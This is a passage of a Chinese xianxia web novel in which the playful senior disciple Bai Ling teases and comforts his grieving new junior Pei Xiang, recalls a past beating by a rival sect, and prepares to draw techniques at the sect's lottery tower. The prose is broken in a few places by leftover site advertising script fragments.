少年抬眼盯着他,眸色极冷,似夜幕下的冰原。 白翎却没忍住笑了,一时手贱,勾了下裴响的下巴,说:“我们阿响长得真好看,以后带出去肯定非常有面子。” 裴响错愕地睁大眼睛,没料到刚放开他,此人立刻就死性不改。他直接掐住白翎的喉咙,道:“你——” 白翎被迫仰起脑袋,艰难地呼吸。他抓住裴响的手臂,明明比之高一个境界,竟然拗不过其力道,相持不下。 “你当时……为什么……要去挡?” 如此紧迫关头,倒是给白翎记起正事了。裴家一案,他从头看到尾,唯有此事始终不明。 裴响是如何认出裴夫人的? 没想到他此问发出,竟然让裴响双目一颤。少年冷秀的眉眼在融化,凛冽的眉峰松开了,无甚血色的薄唇翕动不停,最后嘴角撇下去、他却死死咬住唇。 裴响无处可避,猛然埋头在白翎颈边。在他俯身的刹那,白翎分明看见泪光一闪,少顷,一点凉意湿润了他的肩窝。 “……咦?” 掐着他脖子的手松开了。 本来便没下死力,现下更是丧失了全部怒火,仅剩汹涌而来的悲伤。 白翎有些茫然,犹豫再三,轻轻搂住了怀里痛哭的人。 裴响落泪很隐忍,没有什么声音,只是深深地嵌在他怀里,偶尔才泄露半点呜咽。 刚死里逃生、甚至可以说死而复生,死亡的严寒尚未驱散,便想起在自己眼前灰灭的母亲,于他而言,实在有些残忍。 更何况,他已经没有回头路了。从出生起就注定离家的人,与亲人告别再多次也是无益。那些叮嘱他的话,已经自小重复了千万遍。 白翎让他埋着的半边肩头没有衣物,被少年逐渐转暖的气息吹着,慢慢烫得受不了。 可是头回被人死死抱住,仿佛当他是救命稻草,即使裴响的力度大到快把他揉碎,白翎还是没忍心推开。 他想了下上辈子看的电视剧,怎样哄小孩来着? 家中突发变故、还得去念寄宿制学校,白翎莫名觉得怜爱。他很明白裴响的感觉,虽然对父母毫无记忆,但是哪怕有一分幻影,都会下意识伸手。 白翎已经快把自己治好了,裴响却是头一回病发。 他一只手抚着裴响的后背、给他顺气,另一只手捂着裴响的后脑勺,表达随他靠的意思。 白翎说:“你能感觉到那是你娘。对么?” 他露出一点怀念的笑意,出神道:“以前我看见每个带孩子的妈妈,都会产生一种感觉。我娘肯定也在世上的某个角落,只是我上学时、她在上班,我回家看书、她在厨房做饭。” 白翎深呼吸一口气,眨眨眼睛。 他轻声道:“我只是看不见她,但她从没离开过我。” 裴响的起伏变小了,仍有泪水无声地滴落。白翎擦了把眼睛,无奈地说:“都怪你。我明明忘了的,你又让我想起来。” 裴响抱着他不吭声,似乎因师兄的手感太好,调整了一下姿势,环住他的腰。他还是不肯起来,大概是后知后觉自己失态,拒绝面对白翎。 白翎不满道:“喂,你该撒手了吧?骂也骂了打也打了,还非礼你师兄,我要跟我师兄告状!” “你的就是我的。”裴响冷冷道,不过嗓音还有些闷。他语气不善地问,“你对渡尘真人也如此放荡?” “放荡?!” 白翎震惊得猛推了他一把,但没推动。他歪过头钻到裴响面前,试图与他脸对脸,然而被裴响往怀里一带,不给他看。 白翎语无伦次地说:“我哪里放荡了!” 裴响道:“你当我面沐浴。” “又来又来,还翻旧账是吧?我又不知道你听得见,给你听听怎么啦?大不了,等回到师门了,我也去听你洗澡!” 裴响气道:“无耻之徒,你还——你还摸我全身上下——” “那是帮你净身啊。”白翎大义凛然,不过提起净身又笑了,乐道,“你不反抗,放 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 荡的是你!” 裴响忍无可忍,终于又撑起手肘,俯身在白翎上方。 白翎本来还有更刺激的没说,不过蓦地撞上裴响视线,见小师弟美丽的脸上,眼眶红红的,唯眸底清光仍固执地亮着、含恨盯着他,忽然就哑火了。 白翎沉默片刻,很没骨气地上下扫视一遍,意味深长。 裴响自然意识到了他说不清道不明的眼神,勃然大怒,呵斥道:“展月一脉的后人怎会是你这样子?轻狂无礼、放诞不羁,还满口怪话!你、你……你不许看我!” “好嘛,跟师尊如出一辙的小气鬼。不看就不看咯,我以后有得是机会看。” 白翎懒洋洋地撇开视线,道,“师兄只给我们两刻钟,你再不起来,等他来这儿,就见我们两个衣衫不整,叠在一处。啧,他肯定会要我对你负责……” 裴响被他的浑话激得抬手,按在他有衣服那侧的肩上,要用力却迟迟没用力。 瘫在他身下的人一副任君采撷的模样,望着别处。他只剩一身凌乱的中衣,露出大片白得晃眼的肌肤。师兄身量清减,瞧着毫无侵略性,铺开蓬松的棕色长发,衬着一张柔和的、仿佛了无牵挂的脸。 他笑意粲然时,裴响对他明俊的容貌感到羞恼。 他不笑了,倒是让裴响一时举棋不定,莫名生出反思。 是他错怪师兄了吗? 或许此人同他一样,自小没有父母教导,所以性情怪异。师兄不嫌他孤僻,他却嫌师兄过分热络,是有些不识好歹。 裴响凝眉半晌,犹疑道:“……师兄。” 白翎还是看着别的地方,敷衍地应了一声。 裴响说:“你……你看着我。” 白翎好笑地转回来,问:“干嘛?” 裴响哑声道:“对不起。” 白翎微微睁眼,没想到他会说这个。 他已经很久没听见“对不起”了。饶是一些修士礼节性地道歉,也只是高高在上的“抱歉”而已。 他坐起来,没有下青石台,而是与裴响相对而坐。 裴响虽然身上只围了一件外衫,但满头乌发掩着清冷眉眼,令人不敢轻视。 白翎叹气道:“怎么感觉你很好欺负呢?这样我会忍不住变本加厉的。师弟啊,跟你说实话吧,来裴家找你之前,我都准备好以后被恶劣大少爷当牛做马了。但,你好像挺高尚嘛?” 裴响微微蹙眉,仿佛在疑惑他夸自己还是骂自己。 少顷,裴响谨慎地说:“只要你不干扰我,我们可以井水不犯河水。” “那可不行。”白翎抱着胳膊道,“我的需求比较特别,很想狗仗人势。嗯,不要露出这么奇怪的眼神,我换句话说:希望你进了道场以后,能让我狐假虎威。” 裴响越发不理解,问:“人生天地间,岂能依附他人而活?若师兄不再轻薄我,我自然会敬重你,听你的命令行事。但你全然依靠我的话,等我死了,你又要物色新的靠山吗?” “找别人?你的重点有些奇怪……我没想那么多。嗯,我说什么你做什么?真的?” 白翎一抿唇,面上又浮现出隐含坏水的笑。此番攻守易势,裴少爷无意间作了很了不得的承诺。 不过他依然轻拧着眉,冷冷道:“一言既出,驷马难追。” “好!既然如此,我也跟你明牌。”白翎高兴地一拊掌,说,“你不是问我为什么要依靠别人吗?” 11.十一、淋雪 裴响:“为何?” “嗯……” 话将出口,白翎却闭嘴了。他看着裴响不语,对方则听他提及重要之事,专注地望着他。 白翎尴尬地笑了下,退缩道:“要不还是别说了吧?我连师兄都没告诉过……师尊倒是知道,可能这正是他放弃我的原因。” “诸葛道长也帮不了你吗?”裴响若有所思。 白翎说:“从某种意义上讲,他能帮。但是……” 他又停住了,掩饰性地咳嗽一声。 对他而言,自我坦白实在太难,尤其是对一个刚认识的人。可是师弟被他玩弄那么久,现在还乖乖地按着外衫下摆,红着眼睛等他开口,显然是个家教严格、心地纯挚的好孩子。 不做点什么赔罪,白翎他良心难安。 对别人极尽混账的白翎摸着心口,意识到良心失而复得,自己都觉得意外。正常人的“赔罪”应该是贴心地安慰并开导裴响,再保证以后对他善良,但白翎两项都做不到。 他只能是自揭伤疤,告诉师弟:这是我的把柄,你以后也可以拿捏我了! 思及此,白翎笑吟吟地问:“你知道霁青道场的功法怎么来的吗?” 他话锋突转,裴响想了想,道:“师尊不会传授功法么?” “不,和灵泉一样,功法也被展月老祖收集起来,存放在道场的‘全性塔’里。每个修士入门,师尊都会下发‘塔印’,供他们去抽取功法。在外面外斩妖伏魔,道场也会论功行赏,分配塔印。不仅能抽出功法,还有兵器、法宝之类的。” 白翎幽幽地说:“可能运气也是实力的一部分吧。抽的多少、好坏,全部看脸,比如我师兄的《玉壶冰心箴言》,最顶级的几部法典之一,意剑流巅峰之作。也有些倒霉蛋,什么都抽不出来,只能拿到一堆灵石。” 他心下吐槽,老祖干什么不好,非要整抽卡游戏,还不设置保底。欧皇和非酋的区别比人和狗还大,想当初师兄一发入魂,十连三金,不仅有箴言认主,还有“千恨”、“万怜”两把仙剑。 至于白翎,或许是因为新手保护期,用师尊给的塔印抽出了一部上上品功法。然而正是这部功法,成了他修为止步不前的祸根。 裴响听明白了功法获取机制,倒是没有质疑其合理性,而是问白翎:“所以,你的功法必须仰仗他人么?” “对啊,没别人不行。”白翎正色道,“我抽的《喜乐诸天奇经》,它主双修。” 裴响:“………………” 裴响:“什么?” 白翎以为他不懂是什么意思,善良地解释:“就是要和别人上床。按你们的话说,也叫交合。” 裴响的脸色变了,脑袋旁仿佛冒出了不断变幻的星辰大海。 白翎以为他明白自己的意思——没法双修,提不了修为,靠不了自己,只能依靠他人,比如天纵奇才的小师弟。 但裴响显然联系上下文得出了另一重深意:无依无靠的师兄一直找不到双修对象,对新入门的师弟发出暗示:以后就靠你了! 他脸色煞白。 白翎好奇地问:“你干嘛表情这么奇怪?阿响,我的要求很高吗。” 裴响的嘴唇颤动良久,最后绝望道:“你对每个师弟都有如此要求?” 白翎:“怎么会?我只有你一个师弟。至少几百年内,都不会有下一个吧。” 裴响闭上眼,内心剧烈斗争。他再睁眼时,避开白翎困惑的目光,面上浸透了薄红。 裴响低声道:“你先答应我,除我以外,不许有旁人。我……我才能考虑考虑。” 白翎勾着他下巴转回来,对着少年愕然的漂亮脸蛋,笑眼弯弯地说:“当然。不过等你考虑好了,可别拒绝我就是。” 雪白的梨花飞落,簌簌然落了两人满身。 裴响尚在发怔,白翎已转身去摸香炉,不信邪地伸手进里边掏。果不其然,炉内另含乾坤,无数天材地宝的记录拂过眼前,即使被裴响风卷残云了一轮,还是有不少好东西。 比如几件法衣,他没吸收掉,被白翎抓住,扯出炉口。 作为法宝的罩衫上身自动贴合尺寸,白翎给一人找了一件,终于让他们衣能蔽体。白翎几百年没穿这样的好衣服了,通身彩绣织锦,飘着朵朵云纹。可能因为是淡粉色的,从没见诸葛悟穿过。 裴响背过身,利索地整理好衣物,再看白翎,却正好撞上他笑。 白翎没觉得自己衣领大敞有什么见不得人,反正都是男的,他摸摸这的纹绣、捋捋那的衣带,整个人裹在一套朝雾似的粉衣里,眉眼灿烂。 裴响一时沉默,片刻后移开视线,面上的薄红始终未散。 白翎仍乐呵呵地说:“师弟啊,你身上全是梨花。” 裴响低低道:“你也是。” “对啊,好像下雪。洛东城真是好地方,我头回见百花齐放。你身上也好香,离得近了远了,香味还不一样。” 白翎自顾自念叨,没发现把师弟的脸说得更红了、想反驳他但没说出口,于是又开始生闷气。 白翎终于把衣服穿好,跳下地伸了个懒腰。他辨别着来时路,往花枝繁盛处走去。 漫天纷飞的白花中,他抬手接住少许,回头笑道:“我想起来一首诗。大概是以前念书背的,不过只记得半句了。” 裴响跟在后面,保持着一段不远不近的距离。 他问:“你会背诗?” “当然,因为要考啊。虽然我想起的这句不考。”白翎往上一指,说,“‘此生也算共白头’。” 裴响步伐一停,顷刻理解了语意。可是连给他反应的时间也没有,白翎不过是随口一提,说完便轻快地道:“快点走吧,别让师兄等太久。” — 迎弟子入门的仪式分很多种,有些派系拘礼,要开办祭典、三叩九拜,敬告祖师神灵。 有些派系则很随缘,将新人带给师尊看一眼,领了塔印去抽功法,之后就由师姐师兄们拉扯大了。 白翎庆幸的是,他们展月一脉属于后者,没什么繁文缛节。 但不巧的是,才回宗门,几人便得到消息:他们刚走没两天,梦微道君就开悟了所修《法眼遍历 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 秘典》的最后一卷,即刻闭关。 因他悟道是在深夜,天象变幻,影响颇广,整个霁青道场皆有感应。 前来拜谒渡尘真人的仙友们争相告知此事,想在诸葛悟面前谋个眼缘,而后不约而同地表示了担忧—— 那位初入门的老祖钦点徒孙,既不得师尊教诲、又无法典宝物傍身,据说还刚受了一次重伤,该如何参与下个月的诸方玄道盛会? 白翎听师兄提起简称为“道会”的活动,根本没想起来是啥。直到诸葛悟提起了一件事: 其实白翎是有过得到本命剑的机会的。 那是他用最后一枚塔印抽出来的剑胚——说是剑胚,因其尚未锻造成剑,只是天然形似剑锋的宝材。若想得到仙剑,还需进行锻造、赐名、认主等流程。 然而不等白翎摸热乎,剑胚就被抢走了。 凡是霁青道场记了名的弟子,皆要参加两百年一届的诸方玄道盛会。不仅道场弟子强制性参与,天下散修还皆可报名。 道场最深处的秘境将会开启,因其与邪魔外道的地界接壤,与会者除了争夺天材地宝,还会碰上不少魔修,若能除掉几个魔头,便是大功一件,可以凭此回道场领取犒赏。 总之,道会是道场最盛大的赛事,亦是全天下修士两百年一度的机缘。 不仅对道场弟子而言,对秘境北侧的魔修们同样如是。他们早已严阵以待,迫切渴望着一顿暴食。 白翎就是在上一届道会被盯上,捡回小命却爆了装备。 但盯上他的不是魔修,而是同门。道场恶名昭著的问鼎一脉,祖师爷是位妖王,千年前被展月老祖扒皮抽筋,制成了法宝。在弱肉强食的修真界,这不算稀奇事,只能说老祖太不给面子。但问鼎一脉动不了他,便将恨意倾泻在老祖传人身上。 起初,他们的目标是梦微道君。然而此人深居简出,几乎从不踏出折雨洞天一步,直到收诸葛悟于门下。自那之后,问鼎一脉暗中给诸葛悟使绊子,长达百年,不料诸葛悟次次置之死地而后生,反打问鼎一脉的脸。 如此一来,仇怨深种。 诸葛悟向来是个人事个人毕,从不找师尊出头,以致于问鼎一脉的胆子越来越大,火气越来越旺,誓要找回场子不可。终于,道会开场,恰好白翎抽出了神级剑胆,直接被问鼎一脉调转矛头、当成了出气筒。 久远的记忆慢慢浮现,白翎窝在厅堂的软垫上,手捧暖炉发呆。 是了,自己两辈子最痛的一次,不是前世被大卡车创飞,也不是今生挨师尊的飞剑,而是被问鼎一脉的弟子毒打。 白翎有师尊给的护身符,能挡下致命一击,却只是一击。 问鼎一脉终究有所忌惮,不敢杀他,只知他是个有名的草包,想来在门中不受重视。于是,他们轮番殴打白翎,甚至折断他的四肢,把他塞进石桶,从山顶踢到山脚。 等在前线屠魔的诸葛悟实在心神不宁,回到把师弟留下的风景最美之处,只找到一尊鲜血满溢的石桶。 桶上贴一封短笺,上书“渡尘真人亲启”,里面泡着手足俱断的白翎。 12.十二、分房 白翎眨了下眼,感到一阵幻痛。 明明是两百年前受的伤了,事后也用灵丹妙药治愈,可他一旦掘出大脑自我保护机制下深埋的惨痛回忆,就好像回到了灭顶的血液里,是他流出的血。 白翎强笑道:“幸好师兄及时赶到,否则我都被泡成药酒了……” 烛火轻轻晃动,坐在他对面的裴响凝眉问:“药酒?” 诸葛悟提及剑胚,看白翎神色变化,知他已全部想起。诸葛悟本欲对裴响简述此段过往,却被白翎打断。 白翎无奈地说:“是我自己不够小心,你别吓得阿响以后不敢出门了。” “问鼎一脉把对我的仇恨报复在你身上,自然不会放过我脉任何一个弟子。让小裴有所了解,保持戒心。若我当初,能料到他们如此丧心病狂,必不会将你留在晚霞山。”诸葛悟沏茶到一半,淡淡说道。 白翎笑着说:“师兄还记得那座山的名字啊,我都忘了。不过你也没必要自责,说到底,要怪老祖当年搞别人祖师爷……” 诸葛悟道:“仙路争锋,容不得他人在侧。师祖此举,无违道义。” “我的意思是他干嘛不坏人做到底,祖师爷都宰了,顺便灭门很难吗?”白翎无精打采地叹道,“唉,可惜我的剑胚!估计已经是问鼎一脉的传家宝咯。” 裴响听到他说“灭门”二字,眼底掠过一丝骇然。 但,即便白翎不肯讲,他也能从只言片语还原大致事态,故而沉默。 白翎乐道:“师弟的心思总是写在脸上。你是不是觉得,不会吧?至于吗?——两百年前,我也是你这想法。直到我进了秘境,发现以前还算客气的人转头互相捅刀。赢了升级、输了轮回,跟养蛊似的。难怪说修道大浪淘沙,筛掉的一批接一批呢。” 裴响眉峰蹙得更紧。 少年人换了合身的黑色道服,灯下五官如画,更显姿容。鸦羽似的长发由发带束起,朱红银纹缎带,垂在腰际。 他道:“我会适应。问鼎一脉……我记住了。” 诸葛悟重新拿起茶壶,往白玉茶杯里注入碧波。 茶水流溢声过后,裴响问:“最后如何?” 白翎:“什么如何?” “命悬一线,还丢了剑胆吗?”裴响看向他的身体,仿佛意识到自己关心太过,又将视线撇开。 “这个啊……”白翎摊手道,“问鼎一脉已经没有三代弟子了。” 他面上含笑,仿佛在说“抱歉,但那又怎样”。 诸葛悟同代无敌,此名声正是在二百年前打响的,同时伴随着出奇护短的评价。他目睹师弟的惨状后,去了问鼎家山头一趟。战书信封上,亦是“某某真人亲启”。 两杯茶缓缓落在白翎与裴响面前,清香袅袅。 墨蓝法袍的剑修直身而起,说:“小裴,此去道会,我吩咐你一件事。阿翎的剑胆,至今未归,是我一桩遗憾。” 白翎惊讶道:“你不会要他去抢剑胆吧?啊?” “你别太溺爱晚辈了,阿翎。不止是他要去,你也要去。据我所知,剑胆在名叫李德的四代弟子身上。我身为三代第一,不便对他下手,以致他猖獗至今。” 诸葛悟说罢停顿,微微一笑,道:“但是你和小裴可以。” 白翎表情呆滞地说:“我俩一个废物,一个新手,打他确实不丢脸,就是会丢命。我们拿什么打?用我的盆敲爆他的头?” “师兄我早年征战魔域,有些东西花不完。道会在即,师尊闭关,自然该由我为你们添妆。” 诸葛悟笑了笑,挥袖送出无数华彩。金灿灿的琉璃状物分作两拨,落在白翎和裴响身前,正是用于全性塔抽奖的塔印。 白翎粗略计数,足有百枚之多。 他“嗷”一嗓子扑进塔印堆里,摸起一枚便咬,确认是真货,又赶紧“呸呸呸”。 诸葛悟道:“以前阿翎抽了些好东西,便遇横祸,原想等你修为进益了,再赠几件法宝傍身,免得匹夫怀璧。不过前阵子得了此物,不必再担心你们遭劫。你二人结伴而行,把它戴在身上吧。” 他掌心飘着一枚铃铛,正是在裴家派上过用场的法宝。 白翎没有饰品,接来挂在腰间,倒是点缀了一分亮色。 他把塔印搂进芥子袋,笑嘻嘻道:“多谢师兄咯。” 裴响亦行礼道:“谢师兄。” 白翎眯眼瞧他,不满这家伙私下里说话还正儿八经的,好难养熟。 裴响与他视线相对,却会错了意,不情不愿地补充道:“谢师兄们。” 诸葛悟继续说:“历届道会,道场皆从各脉调派人手,去魔域收复失地。我须代表展月一脉参战,无法陪在你们身边;师尊业已闭关,没为你们赐护身符。所以铃铛切莫离身,只消感应到杀意,便可将我传来。你们引李德动手,我庇护师弟,名正言顺。” “好好好,钓鱼执法嘛!”白翎知道不用他俩对敌,立即放下心来,装模作样地掐指算道,“明天是个黄道吉日。阿响,我带你去全性塔吧?” 他一骨碌坐到裴响身边,双眼放光。 裴响迟疑道:“去抽取功法么?” “对啊,虽然不一定能抽到。不过你放心啦,抽不到就用我的,抽到为止。我不信加起来一百抽还出不了货!” 白翎想到能抽卡,已经手痒了。从某种意义上来说展月老祖是个天才,轻易拿捏了修士们的赌狗心理,引得无数修士前赴后继,为了塔印四处伏魔。 诸葛悟将残茶浇在窗前的绿萝盆里,道:“时候不早了。阿翎,师弟进门,你要做好表率,莫再通宵。” “我通宵又不吵你们,管我干嘛?”白翎左耳进右耳出,手往裴响肩上一放,问师兄道,“他住哪儿啊?” 诸葛悟沉默片刻,微笑反问:“难道和我住?” 白翎大惊,也反问:“你的意思是他和我住?” 诸葛悟道:“不然呢?我忘记给他建新居室了。” 白翎大叫:“你不记得事,所以要我分一半房间给他?!” “不是啊。”诸葛悟自然而然地说,“你分半张床给他不就行了。刚好,让小裴治一治你通宵的毛病。” 不等白翎往地上打滚,裴响低声道:“我自己去外面找棵树吊着便是。” “不行。” 诸葛悟和白翎异口同声,不过诸葛悟的理由是:“我脉怎能苛待新人。” 白翎则一脸担忧,凑近他问:“你说的吊着,是吊着头还是吊着脚?哪样都很影响仙去山的形象,还会把吃夜宵的我吓死。” 裴响:“……” 裴响闻到他身上的皂荚清气,道:“在两 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 树间吊根绳,躺上面不难。” 原来师弟是小龙女啊。 白翎“哦”了一声,耸肩说:“算了,你打地铺吧。不要被我煮的夜宵馋醒就行,我不会分给你的。” 他又离远了,清气若即若离。裴响垂着眼不语,许是因初来乍到,一副听之任之的模样。 白翎便替他做了决定:“好!从今天开始,阿响睡我旁边的地上。如果修为进展神速,我给你多垫两层褥子,十年内成功打通灵脉、进入练气后期的话,唔……” 裴响略略抬眼,诸葛悟也笑问道:“你待如何?” “哎呀,一定要很有诱惑力的奖项才行啊!那我不得不做出牺牲了。”白翎郑重地扶住裴响双肩,强迫他正视自己,道,“假如你达成了目标,允许你睡我半张床。” 裴响微微张口,好像看着一个脑子被驴踢了的神仙。 “你这是什么表情?你知道我的床多软吗,整个修真界找不出第二张的!”白翎气得抓着他直晃,“我当初被木板床硌得青一块紫一块,根本睡不着,足足花费一个月功夫,才收集了七千多根白鹭毛,塞进我缝的床垫里!你没睡过我的床,你什么都不知道!” 裴响匪夷所思,问:“重点是你的床如何么?明明是……” 诸葛悟说:“好了阿翎,小裴还没习惯你日日发疯,少说两句。不过,修真之人一切从简,若能以此督促小裴上进,我也不必去寻觅良材了。” 其他派系会招收道童,负责日常的洒扫逢迎。展月一脉却从无此种安排,凡事让弟子亲力亲为,即便是建房子,也由诸葛悟一手操办。 至于其中的家具陈设,则是白翎累死累活地手工打造、或者去山下的铺面采买而来。 他那张床,是他耗尽心血的集大成者,哪怕只遭到裴响的一丝丝抗拒,也瞬间冲昏了白翎的头脑,非要现在就带师弟去领略一番。 诸葛悟已回他的东厢去了。白翎生拉硬拽,把裴响拖进西厢。 裴响频频回头,看诸葛悟的背影,但那位师兄好像对白翎放心得很,根本不担心他把新入门的师弟玩死。 两人拉拉扯扯地进了房间,入目倒是宽敞,甚至有些空荡荡的。各色书籍倒扣在各处,一些没做完的摆件儿堆在天然石台上。 白翎按下门口的枢纽,点亮屋顶的“水晶灯”。是他用全性塔抽到的灵石做的,品级不高对修炼很鸡肋,对于照明却无与伦比。 霎时间,柔和的暖色光晕布满室内。绕过石台与一重纱帘,露出奢华大床。 雪白的粟米枕配上一尺厚软垫,盖着轻若无物却很保暖的绸纱被子。白翎把靴子一蹬,整个人扑上去弹起,幸福地滚了两圈。 他坐起来两眼亮晶晶地说:“看!是不是觉得接下来十年很有盼头了?我没骗你吧?都说法宝兵器分凡、灵、仙、神四个等级,我的床要是能评,绝对超神!” 他“啪啪”直拍手边的褥面,触感柔滑,忍不住又倒在上边。 裴响警惕地站在远处,几乎是离他最远的对角,望着撒欢撒到白衣凌乱的师兄,半晌才道:“我记得你说过……功法之事,你没有告诉诸葛道长。” “啊?哦你说我啊。”白翎停止了滚动,瘫成大字。好一会儿后,他才想起自己练不了功、要抱裴响大腿的事,道,“怎么,你考虑好了?” 13.十三、卡池 裴响拧着眉,一双黑漆漆的眼睛遥望着他。 水晶灯影在其面部流转,衬得他发鬓如墨,玉面朱唇。白翎看在眼里,激出三分观景的雅兴,遂耐心问道:“你不想管我?想让我奋发图强?还是让我去找别人。” “别人?”裴响面色微变,浮出少许恼意。 白翎笑道:“这种事讲究你情我愿的嘛。” 裴响咬住下唇,眼神似在批判。白翎不明白他又在闹哪出,殊不知师弟的内心正当天人交战。 在裴响的心目中,师兄不学无术、不思进取,还性情顽劣爱捉弄人,可他……他…… 一想到他要像缠着自己一样去亲近别人,不知为何,裴响脸有些发白。 片刻后,不知想到了哪一步,他耳廓又染上红。一阵红白变幻,看得白翎更觉奇怪了。 他趴在床上看裴响,冲他打了个响指,问:“你到底在纠结什么呀?我又不勉强你。你乐意就说‘好’、不乐意就说‘不要’,我还能绑着你用强不成?” 裴响的胸膛急促起伏了两下,决定道:“不要!” 白翎秒答:“驳回!” 不等裴响说话,他便嚣张地一挥手道:“不管你不要什么,通通驳回。都跟我回折雨洞天了,知不知道谁是老大?你太高尚了阿响,已经错失让我给你当狗的机会啦!我决定翻身做主人,以后你不想喊我师兄的话,喊主人也行!” “你——” 裴响背靠墙壁,听他满嘴跑火车、不断迸出惊世骇俗之语,双目含恨却无法发作,更不知说什么好。 白翎爽了。原来有师弟玩弄是这种感觉。 要么给恶人当爪牙、要么当欺压好人的资本家,他现在决定当后者。 不肯做他的靠山?笑话,山不来就我我去就山,小师弟不可能逃出他的手掌心。 再说了,不过是让裴响听话点、苟富贵勿相忘而已,不知这家伙脑子里塞的什么,一副被逼着跳脱衣舞的样子,好生可怜。 思及此,虽不理解,但充分体验到了强扭瓜的趣味。白翎笑眯眯地支着脑袋,问:“阿响能不能多说几遍‘不要’?我好爱听啊。” 裴响因接受的良好教育词穷了,一时想不出话骂他。 白翎感慨道:“你怎么连骂人都不会?” 裴响斥道:“无耻!” “下次骂我变态吧,更爽一点。为免你不知道变态什么意思,我告诉你:像我这样又坏又爱欺负人的,就是大变态!”白翎自豪地说。 裴响面上的薄红蔓延到眼尾,不再轻易流泪,只是死死地盯着他不语。 白翎突然想起什么,从怀里掏出一封信,招猫逗狗似的扬了扬,问:“要吗?” 裴响已经被他骗了无数次,依然在沉默片刻后上钩了,道:“是什么?” “是你姐姐的信啦,说等拜师之后再给你。不过师尊他闭关鬼知道要多久,万一信里是什么‘开学第一课’之类的呢?到时候你都硕博连读了还看个毛线……” 白翎嘟嘟囔囔,光着脚跳下地。 裴响立即后退,不过已经抵着墙了。白翎则被古木地板冻到,瑟缩起几个脚趾头,不想再走。 他一只脚踩着另一只脚,挥挥信道:“你过来拿呀。” 裴响终究没抵挡住家书的诱惑,靠近他接信。信封拆开,内里只有一张短笺,白翎十分好奇,但也知道必须给孩子留一定的私人空间,只能满怀期待地瞧着他读。 裴响看完,眼底的光黯淡下去。 白翎急了,一把拽他过来,按在床上。裴响竟然没挣扎,手中的信也任其抽走,抬起胳膊挡住眼。 白翎认真念道:“响儿:此为你名下的霁青商行票折,口令是你生辰。每月可支白银一万两,不够来信。声。” 他喃喃道:“白银……一万两?!” 白翎连忙把信封抖了抖,倒出一枚木简。其金纹如绸,竟然是金丝楠木制成的,没有任何刻字,只嵌着一颗金镶玉灵珠,用于口令兑款。 他目瞪口呆地说:“霁青商行金卡商户!听说要存进千万两黄金才行,能把上百人的派系从练气养到飞升吧?喂喂喂,你快乐得晕过去了吗?” 裴响依然挡着眼睛,被白翎一把拽下胳膊,露出闪烁泪光。 白翎连忙缩手,却已经把师弟惹毛了,哑声质问他道:“快乐?有何可乐?我姐她——她连一句关心的话都没有,明明我一辈子不会回去了。” 白翎说:“嗯……其实有关心一句的。我带你走的时候,她祝我们平安来着。” 裴响愣了一下,问:“她真的说了?” “对呀,她还问我什么……哦,干嘛不早唤醒你。大概是担心你中的法诀有后遗症吧。”白翎说着说着笑起来,道,“她把你托付给我,说你以后就拜托我啦!” 裴响气道:“不可能,你、你诓我!” 白翎一摆手,说:“不信你去问她呀。你姐赚钱给你花,你就知足吧。有钱不够,还想要爱?苍天啊,那我这种又没钱又没爱的怎么活?” 裴响别过头去,过了会儿,整个身子一转,不想面对白翎。 白翎说:“干嘛用屁股对着我?” 裴响霍然转回来了,泪光闪闪地瞪着他。 白翎笑嘻嘻道:“这样吧,以后你给我钱,我给你爱。怎么样?” “不要!”裴响脱口而出,想起前车之鉴,又改口道,“不怎么样。” 白翎生气地眯起眼睛,抓着他衣领子逐渐逼近。裴响迫不得已,握住他的手腕,说:“你让我考虑的事情……我先用银钱替代。” “嗯?什么意思,还是不想管我呗?”白翎嘴上说着,但手上力气已经松了。 裴响恨恨地看着他,说:“以后你花的钱,都记我账上。但是,你不许再提那件事了!我……我不会屈服的。” 一滴蕴了很久的泪落下来,打湿少年的面庞。 白翎张了张口,最后退回床头,道:“好吧。既然你不惜破财,也要和我划清界限,我当然不会为难你。” 他打了个响指,被褥在床边地上铺开。 空中掉下一个决明子枕头,是白翎从芥子袋里找的,有他无聊时绣的粉色吹风机样猪头。 白翎静静地看了裴响片刻。对方如此抗拒他,即便他捧出所有好东西、说尽所有好话,依然得不到半分亲昵。 “阿响,你很讨厌我吗?”白翎忽然问。 裴响一怔,答不上来。 白翎一脚把他踢下床,笑眼弯弯地说:“讨厌也没用。睡觉吧,乖。” — 全性塔坐落在霁青道场中央,是绝对的地标与核心。 两千年前,修真界被魔气浸染,陷入永夜。展月老祖将灵泉集中于霁青山巅,才让灵气源头免受毒害,至纯的灵气中诞生神鸟,还修真界以光明。 距神鸟登临高天、普照万物,已历经无数春秋,全性塔正是为了纪念祂所建。 第一批追随展月老祖的信徒自称为拜日教,歌颂他令太阳新生的事迹。现如今,道场的管理者中,仍有绝大部分是拜日教的信徒,他们手握老祖遗留的权柄,负责分派灵泉、下发塔印、召开道会等诸多事宜。 白翎用眼神示意裴 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 响,让他看大厅中央。 正对全性塔大门的墙壁上,是一面五丈见方的石刻。下部刻着一名道人张开双臂,引五湖四海而来,汇作太极形状。太极两仪的中心,神鸟展翼起飞,衔着烈焰火轮。 白翎仰头喝掉杯中的乳茶,说:“胸口有红日绲金边图案的,都是拜日教的人。” 裴响坐在他对面,回头扫视柜台。台后忙碌的人员中,一半皆穿着白翎所说的衣服。 他问:“拜日教也是一脉派系吗?” “不是,最初那批信徒全是凡人,跟着老祖避难的。凡人的后代很难出修仙苗子,你这样的算基因彩票啦。他们在道场有铁饭碗,而且把握了核心资源分配,虽说没什么修为、一茬儿接一茬儿地换人,但我们修仙的还是会尽量服从号召。” 白翎不管他听不听得懂,随口叭叭。幸好他看的书够多够杂,对祖师爷的发家史信手拈来。 关于修仙苗子,他也没说错。血统自古重要,祖辈都是修士的话,子孙差不到哪里去,倒是和他上辈子学的进化论对上了。 尤其在老祖收集灵泉之后,俗世水泽失去灵气。凡人和修士的界限更如天堑,同裴响一般出身凡家、却有仙资根骨的,千年不过其一。 白翎放下杯子,旁边有绲金边阳纹的侍从立即上前,替他再斟了一杯。 